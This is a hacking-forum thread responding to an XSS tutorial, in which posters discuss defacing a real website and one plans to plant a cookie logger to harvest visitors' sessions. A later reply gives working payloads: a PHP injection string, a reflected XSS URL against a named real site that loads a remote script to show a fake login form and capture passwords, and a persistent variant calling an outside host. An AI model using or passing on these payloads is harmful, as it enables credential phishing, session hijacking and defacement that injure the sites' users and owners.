Home Upgrade Search Memberlist Extras Hacker Tools Award Goals Help Wiki Contact

Hacking with XSS (Cross site scripting)

Ty for the tut man 🤝
noice! il help if you want 🤣 but shhhhhh lol

nice work eather way mon
YAY! A good XSS guide, but can I suggest you put "Cross Site Scripting" In you're title (I know I can, but it's rude =p) The search limit is 4 characters, so you can't search for XSS.

Also, if you do some looking, there is a vulnerable LAPD website (A lot of government sites are vulnerable to XSS) I e-mailed their web master weeks ago, explaining the problem, and how to fix it, I've had no response, and nothing has been done XD
Little question: Did you actually deface the website or is it just visible to you coz you entered the script ?
(Mar 9, 2010 01:43 PM)VipVince Wrote:  I had a deface page up for 30+ seconds. It was just used as an indication to me that it was possible, however i dont want a deface page up as that will inform the admin that his site is vulnerable. My goal is to get a cookie logger set up on the site as a re-direct, I mean i could leave a deface page up, post on hf's in the bragging session and think im ub3r, however its much more beneficial and interesting for me to have a cookie logger set up on the site and then il explore the cookies and sessions collected, be a ninja not a noob.
But that means, that, if I were to visit the website during those 30 seconds, I'd be able to see your deface, right ?

(Mar 9, 2010 01:43 PM)VipVince Wrote:  I had a deface page up for 30+ seconds. It was just used as an indication to me that it was possible, however i dont want a deface page up as that will inform the admin that his site is vulnerable. My goal is to get a cookie logger set up on the site as a re-direct, I mean i could leave a deface page up, post on hf's in the bragging session and think im ub3r, however its much more beneficial and interesting for me to have a cookie logger set up on the site and then il explore the cookies and sessions collected, be a ninja not a noob.
But that means, that if I were to visit the website during those 30 seconds, I'd be able to see your deface, right ?
Very nice i will try it later thanks
(Mar 9, 2010 01:50 PM)VipVince Wrote:  Yes, but incase you didnt read what I said in my tut, I am not releasing the URL of the site publicly as I am not finished with the site, have further intentions with the site, and am not having a skiddie hi jack with his own deface page while I still have further plans for it.
Not trying to find out the URL. I'm just surprised at how easy it is to deface a website using XSS. Haven't heard of it before and it sounded too simple.
Huh, Sorry if this is a retarded question, But with XXS don't you have to get the admin to go on the link and hijack his session to deface?

(Mar 9, 2010 01:50 PM)shuks Wrote:  I have a question. Im not an xss expert but if you insert the following code into the search field...

<IMG SRC="http://i205.photobucket.com/albums/bb581/1-youraccount-/12.gif">

correct me if I'm wrong, but you wont be permanently changing the html on the site. You will see the picture in your browser once, but no-one else will; and when you refresh the page it wont be there anymore. The code you inject will only show up once, and only in your browser. how do you make it so the code is permanently injected?

Is there something I'm missing???
Yeah this is exactly what im thinking :| Textbox Injection isn't permenant. The idea of it is to add a Hex code to the url which auto fills searchbox with redirect code. then get the admin to visit your link then it loggs his session cookie.
VipVince had to leave and wont be back online until tomorrow morning, than he will answer remaining questions sorry for the inconvenience
(Mar 9, 2010 02:02 PM)shuks Wrote:  Can the author of this thread please clarify...

someone wrote -->
and vince responded "yes".

However as far as I know this is wrong. the answer is no. you will not see a defaced site, nor will anyone else. the only person that will see the injected html is vince and when he refreshes his browser it will be gone.

Can the author of this thread please clarify...
Same thing I was thinking. Now I'm pretty puzzled.
(Mar 9, 2010 02:02 PM)shuks Wrote:  Can the author of this thread please clarify...

someone wrote -->
and vince responded "yes".

However as far as I know this is wrong. the answer is no. you will not see a defaced site, nor will anyone else. the only person that will see the injected html is vince and when he refreshes his browser it will be gone.

Can the author of this thread please clarify...
your 100% right unless vince is talking about somthing none of us understand.
I hav exactly the same question .... how can it be so easy
i mean ,,, how can it be

it could be just a temporary inject ; u refreshed the browser nd "phew" ...

*(NO OFFENSE VIP BRO !)
and we are still waiting for him ....
very nice tut man great job
(Mar 9, 2010 01:50 PM)shuks Wrote:  I have a question. Im not an xss expert but if you insert the following code into the search field...

<IMG SRC="http://i205.photobucket.com/albums/bb581/1-youraccount-/12.gif">

correct me if I'm wrong, but you wont be permanently changing the html on the site. You will see the picture in your browser once, but no-one else will; and when you refresh the page it wont be there anymore. The code you inject will only show up once, and only in your browser. how do you make it so the code is permanently injected?

Is there something I'm missing???

There's only one typical way I can think of- that's when XSS'ing form fields that will be checked by admins in admin areas. We input the malicious script in our side but it's carried out only when they view their side of the situation- completing the transaction... I have tried and tried and tried to "permanently" inject through like search fields but it just doesn't work like that- if it did, then you'd be able to inject not only html but php as well (like whole shells)...
or php commands:
Code
";//\";//--></SCRIPT>">'><?php $homedir=getcwd(); echo "<b><p align='left'>Home:</b> <u>$homedir</u></p>" ?>

The whole internet would get owned if it were really that easy...

Better methods with XSS would be to skip the cookie hijacking as it only works on versions of firefox 2.0 and under, and it can be a real pain in the ass to set it all up correctly...

Few other methods though, some of my favs that is- using JS & AJAX to post and get actions... now that's some fun.

Or another example, full in browser page takeovers, great for fishing some passwords... like this here divxstage.net example:
Code
http://divxstage.net/search.php?s=';//\';//";//\";//--></SCRIPT>">'><SCRIPT SRC=http://googles-on-us.com/shyf3/xss.js></SCRIPT>--&search.x=25&search.y=17&q=5

It has my login form, which could be made to look official- record all info, redirect to an official page afterwards.... but notice how the URL address remains at divxstage.net and not redirecting you to another site? XSS can be nice...

Now that were talking Persistent and Non-persistent, I get fully what ya mean.. If it's persistent- just set up a script like in my example for divxstage.net and include the:
Code
<SCRIPT SRC=http://yourhost.com/script.js></SCRIPT>
as your persistent- then everyone will be required to login on that page, I usually post it on the 1st page and have it redirect to the 2nd page afterwards- no one ever catches it..


Possibly Related Threads...
Thread / Author Replies Views Last Post
by ~[DogiD]~Jul 2, 2023 09:34 AM 74 12,750 Jul 2, 2023 09:34 AM
Last Post: SIM-5382664
by zer0pwnSep 1, 2022 05:10 AM 548 66,978 Sep 1, 2022 05:10 AM
Last Post: KeyToSuccess
by KodazMay 19, 2021 10:28 PM 16 1,229 May 19, 2021 10:28 PM
Last Post: LGiver